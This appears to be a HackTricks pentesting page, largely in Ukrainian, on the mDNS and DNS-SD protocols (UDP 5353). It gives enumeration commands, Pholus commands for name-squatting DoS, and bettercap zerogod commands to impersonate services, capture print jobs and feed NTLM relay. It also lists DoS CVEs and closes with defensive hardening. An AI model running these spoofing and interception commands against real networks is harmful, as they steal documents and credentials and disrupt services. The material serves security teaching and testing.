5353/UDP Multicast DNS (mDNS) та DNS-SD

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Основна інформація

Multicast DNS (mDNS) дозволяє здійснювати DNS-подібне розв’язання імен та виявлення сервісів у межах локального сегмента мережі без унікастного DNS-сервера. Він використовує UDP/5353 та мультикаст-адреси 224.0.0.251 (IPv4) і FF02::FB (IPv6). DNS Service Discovery (DNS-SD, зазвичай використовується з mDNS) надає стандартизований спосіб переліку та опису сервісів через PTR, SRV і TXT записи.

PORT     STATE SERVICE
5353/udp open  zeroconf

Ключові деталі протоколу, які ви часто використовуватимете під час атак:

  • Імена в зоні .local розв’язуються через mDNS.
  • Біт QU (Query Unicast) може запитувати відповіді по unicast навіть для multicast-запитів.
  • Реалізації повинні ігнорувати пакети, що не походять з локального лінку; деякі стекі все ще їх приймають.
  • Probing/announcing забезпечує унікальність імен хостів/сервісів; втручання тут створює умови DoS/«name squatting».

DNS-SD service model

Сервіси ідентифікуються як _._tcp або _._udp в зоні .local, наприклад _ipp._tcp.local (prinтери), _airplay._tcp.local (AirPlay), _adb._tcp.local (Android Debug Bridge) тощо. Знаходьте типи за допомогою _services._dns-sd._udp.local, потім резолвіть знайдені екземпляри до SRV/TXT/A/AAAA.

Network Exploration and Enumeration

  • nmap target scan (direct mDNS on a host):
nmap -sU -p 5353 --script=dns-service-discovery <target>
  • nmap broadcast discovery (listen to the segment and enumerate all DNS-SD types/instances):
sudo nmap --script=broadcast-dns-service-discovery
  • avahi-browse (Linux):
# List service types
avahi-browse -bt _services._dns-sd._udp
# Browse all services and resolve to host/port
avahi-browse -art
  • Apple dns-sd (macOS):
# Browse all HTTP services
dns-sd -B _http._tcp
# Enumerate service types
dns-sd -B _services._dns-sd._udp
# Resolve a specific instance to SRV/TXT
dns-sd -L "My Printer" _ipp._tcp local
  • Packet capture with tshark:
# Live capture
sudo tshark -i <iface> -f "udp port 5353" -Y mdns
# Only DNS-SD service list queries
sudo tshark -i <iface> -f "udp port 5353" -Y "dns.qry.name == \"_services._dns-sd._udp.local\""

Порада: Деякі браузери/WebRTC використовують тимчасові mDNS-імена хостів для приховування локальних IP. Якщо ви бачите кандидати типу random-UUID.local у трафіку, резолвіть їх через mDNS, щоб переключитися на локальні IP.

Attacks

Втручання в probing імен mDNS (DoS / name squatting)

Під час фази probing хост перевіряє унікальність імені. Відповіді зі сфальсифікованими конфліктами змушують його обирати інші імена або зазнати невдачі. Це може затримати або запобігти реєстрації та виявленню сервісу.

Приклад з Pholus:

# Block new devices from taking names by auto-faking responses
sudo python3 pholus3.py <iface> -afre -stimeout 1000

Service spoofing and impersonation (MitM)

Impersonate advertised DNS-SD services (printers, AirPlay, HTTP, file shares) щоб змусити клієнтів підключитися до вас. Це особливо корисно для:

  • Перехоплюйте документи шляхом spoofing _ipp._tcp або _printer._tcp.
  • Приманюйте клієнтів до сервісів HTTP/HTTPS, щоб збирати tokens/cookies або доставляти payloads.
  • Поєднуйте з NTLM relay techniques, коли Windows-клієнти negotiate auth до spoofed services.

За допомогою bettercap’s zerogod module (mDNS/DNS-SD spoofer/impersonator):

# Start mDNS/DNS-SD discovery
sudo bettercap -iface <iface> -eval "zerogod.discovery on"

# Show all services seen from a host
> zerogod.show 192.168.1.42
# Show full DNS records for a host (newer bettercap)
> zerogod.show-full 192.168.1.42

# Impersonate all services of a target host automatically
> zerogod.impersonate 192.168.1.42

# Save IPP print jobs to disk while impersonating a printer
> set zerogod.ipp.save_path ~/.bettercap/zerogod/documents/
> zerogod.impersonate 192.168.1.42

# Replay previously captured services
> zerogod.save 192.168.1.42 target.yml
> zerogod.advertise target.yml

Див. також загальні LLMNR/NBNS/mDNS/WPAD spoofing and credential capture/relay workflows:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

Зауваги щодо останніх проблем реалізації (корисно для DoS/persistence під час залучень)

  • Помилки Avahi reachable-assertion та аварії D-Bus (2023) можуть завершити роботу avahi-daemon на дистрибутивах Linux (наприклад CVE-2023-38469..38473, CVE-2023-1981), перериваючи service discovery на цільових хостах до перезапуску.
  • Cisco IOS XE Wireless LAN Controller mDNS gateway DoS (CVE-2024-20303) дозволяє суміжним WLAN клієнтам флуудити crafted mDNS, підвищуючи завантаження CPU на WLC і обриваючи AP тунелі — корисно, якщо потрібно примусити roaming клієнтів або скидання контролера під час engagement.
  • Apple mDNSResponder logic error DoS (CVE-2024-44183) дозволяє sandboxed локальному процесу аварійно завершити Bonjour, тимчасово пригнічуючи публікацію/пошук сервісів на Apple endpoint; виправлено в поточних релізах iOS/macOS.
  • Apple mDNSResponder correctness issue (CVE-2025-31222) дозволяла local privilege escalation через mDNSResponder; корисно для persistence на unmanaged Macs/iPhones, виправлено в останніх оновленнях iOS/macOS.

Browser/WebRTC mDNS considerations

Сучасні Chromium/Firefox замасковують host candidates випадковими mDNS-іменами. Ви можете знову відкрити LAN IP на керованих кінцевих точках, застосувавши політику Chrome WebRtcLocalIpsAllowedUrls (або переключивши chrome://flags/#enable-webrtc-hide-local-ips-with-mdns/аналог у Edge), щоб ICE показував host candidates замість mDNS; встановлюється через HKLM\Software\Policies\Google\Chrome.

Коли користувачі вимикають захист вручну (часто в інструкціях з налагодження WebRTC), їхні браузери знову починають рекламувати plain host candidates, які можна захопити через mDNS або ICE signaling для пришвидшення виявлення хостів.

Оборонні зауваження та OPSEC

  • Segment boundaries: Don’t route 224.0.0.251/FF02::FB між зонами безпеки, якщо явно не потрібен mDNS gateway. Якщо потрібно мостити discovery, віддавайте перевагу allowlists та rate limits.
  • Windows endpoints/servers:
  • Щоб повністю відключити name resolution через mDNS, встановіть значення реєстру та перезавантажте:
HKLM\SYSTEM\CurrentControlSet\Services\Dnscache\Parameters\EnableMDNS = 0 (DWORD)
  • У керованих середовищах відключіть вбудоване правило Windows Defender Firewall “mDNS (UDP-In)” (принаймні для Domain profile), щоб запобігти вхідній обробці mDNS, зберігаючи функціональність home/roaming.
  • На новіших збірках Windows 11/GPO templates використовуйте політику “Computer Configuration > Administrative Templates > Network > DNS Client > Configure multicast DNS (mDNS) protocol” і встановіть її в Disabled.
  • Linux (Avahi):
  • Обмежте публікацію, коли вона не потрібна: встановіть disable-publishing=yes, і обмежте інтерфейси за допомогою allow-interfaces= / deny-interfaces= у /etc/avahi/avahi-daemon.conf.
  • Розгляньте check-response-ttl=yes і уникайте enable-reflector=yes, якщо це не суворо необхідно; віддавайте перевагу reflect-filters= allowlists при відображенні.
  • macOS: Блокуйте вхідний mDNS на host/network firewall, коли Bonjour discovery не потрібен для конкретних підмереж.
  • Monitoring: Налаштуйте оповіщення про незвичні сплески в запитах до _services._dns-sd._udp.local або раптові зміни в SRV/TXT критичних сервісів; це індикатори spoofing або service impersonation.

Швидкий довідник по інструментах

  • nmap NSE: dns-service-discovery and broadcast-dns-service-discovery.
  • Pholus: active scan, reverse mDNS sweeps, DoS and spoofing helpers.
# Passive sniff (timeout seconds)
sudo python3 pholus3.py <iface> -stimeout 60
# Enumerate service types
sudo python3 pholus3.py <iface> -sscan
# Send generic mDNS requests
sudo python3 pholus3.py <iface> --request
# Reverse mDNS sweep of a subnet
sudo python3 pholus3.py <iface> -rdns_scanning 192.168.2.0/24
  • bettercap zerogod: discover, save, advertise, and impersonate mDNS/DNS-SD services (see examples above).

Spoofing/MitM

Найцікавіша атака, яку можна виконати поверх цього сервісу — виконати MitM у комунікації між клієнтом і реальним сервером. Ви можете отримати чутливі файли (MitM комунікації з принтером) або навіть credentials (Windows authentication).
Для додаткової інформації див.:

Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks

References

Tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks